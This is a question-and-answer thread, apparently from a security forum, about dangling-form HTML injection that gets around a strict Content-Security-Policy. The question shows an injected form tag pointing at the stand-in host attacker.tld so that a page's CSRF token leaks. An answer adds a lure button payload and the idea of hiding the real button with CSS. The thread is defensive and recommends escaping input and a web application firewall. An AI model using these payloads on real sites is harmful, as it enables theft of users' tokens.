1

This article talks about bypassing CSP using Form tags.

Edit: As suggested, details has to be provided in case the external link stops working.

So here are the details:

There is content-security-policy in place and a vulnerable parameter to XSS:

Content-Security-Policy: default-src ‘none’; 

<html>

<body>

<div>[Reflected XSS vulnerability here]</div>

<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>

<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />

<input type=”submit” value=”Subscribe to newsletter” />

</form>

</body>

</html> 

This is how the author tries to bypass CSP:

Content-Security-Policy: default-src ‘none’; 

<html>

<body>

<div><form action=”http://attacker.tld”></div>

<form method=”POST” id=”subscribe” action=”/api/v1/newsletter/subscribe”>

<input type=”hidden” name=”csrftoken” value=”5f4dcc3b5aa765d61d8327deb882cf99” />

<input type=”submit” value=”Subscribe to newsletter” />

</form>

</body>

</html> 

I want to know is there a way CSP should be implemented to stop the above attack and circumvent the sensitive tokens to be sent to external domain?
Or proper encoding of special characters has to be done to stop this.

  • I am sorry but I don't understand the question at all. You said there is XSS. Then you said scripts can't be executed. So how this can be XSS? Also, I don't understand how you forced to push another <form> field to HTML... Can you please elaborate on this? – Fis May 30 '17 at 10:44
  • Btw. how is the form submitted? Are you sure your injected form is submitted? – Fis May 30 '17 at 10:46
  • @Fis can you check again? I rephrased it. Is it making it clear? – one May 30 '17 at 10:57
  • Yes :) Got it now. How do you submit the form? Is there any button? Or how is it submitted? – Fis May 30 '17 at 11:02
  • 1
    Let's say that the linked page changes; then all of a sudden, the question is potentially meaningless. Necessary details go into the post, not on external sites. That goes for questions and answers alike. – a CVn May 30 '17 at 11:16
4

Question changed in between :)

In this case is not clear how you submit the malicious form. In order t get it work you have to inject something like:

<form method="post" target="abc"><form method="post" target="evil"><input type="submit" value="Click me to win new iPhone" />
<input type="hidden" name="..." value="...">.....

and make the user click the button somehow (as there is no option to submit automatically). I can also see possibility to hide original button using the CSS and replacing it with your button.

You asking how to protect against this. I can see two options:

  1. fix the server code to properly validate / escape user input
  2. place the application firewall in front of the web server and filter out all injections there

In both cases I would say replacing (escaping) of < with &lt; and > with &gt; for all input parameters would work in such case.

as @Arminius correctly said there is no way how to configure CSP against this.

  • 1
    Not sure why the downvote. As correctly stated - this is HTML injection, not script injection. CSP is not correct here. I would recommend actually doing both recommended options (proper escaping + WAF). Another option would be removing the reflection completely, if it's not necessary. One case where I've seen this is in field validation error messages - no need to reflect the supplied value in the message. – user18519 May 30 '17 at 15:35
  • I would say the downvote was because the question has changed at least 3 times and before I was able to update my answer sbdy downvoted. – Fis May 30 '17 at 15:54

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service, privacy policy and cookie policy

Not the answer you're looking for? Browse other questions tagged or ask your own question.